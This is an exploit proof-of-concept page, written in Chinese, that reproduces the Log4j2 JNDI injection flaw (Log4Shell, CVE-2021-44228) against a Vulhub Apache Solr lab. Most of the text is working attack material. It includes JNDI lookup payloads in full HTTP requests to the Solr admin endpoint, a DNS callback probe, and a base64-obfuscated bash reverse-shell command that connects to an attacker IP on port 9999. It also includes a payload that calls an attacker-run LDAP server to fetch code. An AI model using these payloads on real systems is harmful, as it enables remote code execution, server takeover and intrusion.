Awesome-POC/中间件漏洞/Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228.md
2025-04-07 16:36:34 +08:00

2.7 KiB
Raw Blame History

Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228

漏洞描述

Apache Log4j2 是Java语言的日志处理套件使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞攻击者在可以控制日志内容的情况下通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入执行任意代码。

CVE-2021-44228常被称为log4shell

参考链接:

Payloads

环境搭建

Apache Log4j2 不是一个特定的Web服务而仅仅是一个第三方库我们可以通过找到一些使用了这个库的应用来复现这个漏洞比如Apache Solr。

Vulhub执行如下命令启动一个Apache Solr 8.11.0其依赖了Log4j 2.14.1

docker-compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

漏洞复现

${jndi:ldap://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload我们将其作为管理员接口的action参数值发送如下数据包

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

image-20220305220532335

我们可以在DNS日志平台收到相关日志显示出当前Java版本

image-20220305220601719

实际利用JNDI注入漏洞可以使用这个“工具

image-20220305223436251

利用完毕后,可见touch /tmp/awesome_poc已经成功被执行:

image-20220305223503054

反弹shell

构造反弹shell命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo=}|{base64,-d}|{bash,-i}

image-20220305223522125

构造Payload

GET /solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/chof5b} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

监听9999端口接收反弹shell

image-20220305223552171